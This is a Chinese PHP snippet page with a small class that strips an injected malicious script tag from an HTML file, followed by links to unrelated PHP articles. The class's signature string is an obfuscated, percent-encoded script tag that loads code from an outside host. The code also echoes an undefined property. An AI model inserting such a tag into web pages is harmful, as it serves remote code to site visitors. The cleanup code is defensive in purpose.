php 清除网页病毒的方法

yipeiwu_com5年前PHP代码库
<?php
Class clear_virus{
public $index ='b.html';
public $filepath =array('b.html');
public $virus_type ="<script src=http://%61%76%65%33%2E%63%6E></script>";
function open_file(){
if(file_exists($this->index)){
$tmp =file_get_contents($this->index);
if( strrpos($tmp,$this->virus_type)!== false){
$temp =str_replace($this->virus_type,'',$tmp);
$handle =fopen($this->index,'w');
fwrite($handle,$temp);
fclose($handle);
}else{
echo $this->virus_find;
}
}
}
}
$virus =new clear_virus;
$virus->open_file();
?>
清除script 病毒

相关文章

非常实用的php弹出错误警告函数扩展性强

分享一个非常实用,本人一直在用的利用php弹出警告的函数,整理到自己的代码库中去在遇到错误的地方可用到此函数,扩展性强,完整代码如下 复制代码 代码如下: //********弹出ale...

PHP封装的多文件上传类实例与用法详解

本文实例讲述了PHP封装的多文件上传类实例与用法。分享给大家供大家参考,具体如下: <?php /**//* * @(#)UploadFile.php * * 可...

PHP快速排序quicksort实例详解

本文实例讲述了PHP快速排序quicksort。分享给大家供大家参考,具体如下: quicksort 在快速排序算法中,使用了分治策略。首先把序列分成两个子序列,递归地对子序列进行排序,...

PHP日志LOG类定义与用法示例

本文实例讲述了PHP日志LOG类定义与用法。分享给大家供大家参考,具体如下: <?php /** * PHP log 类 */ class Config{ pub...

PHP函数microtime()用法与说明

定义和用法PHP函数microtime()返回当前 Unix 时间戳和微秒数。PHP函数microtime()语法microtime(get_as_float)PHP函数microtim...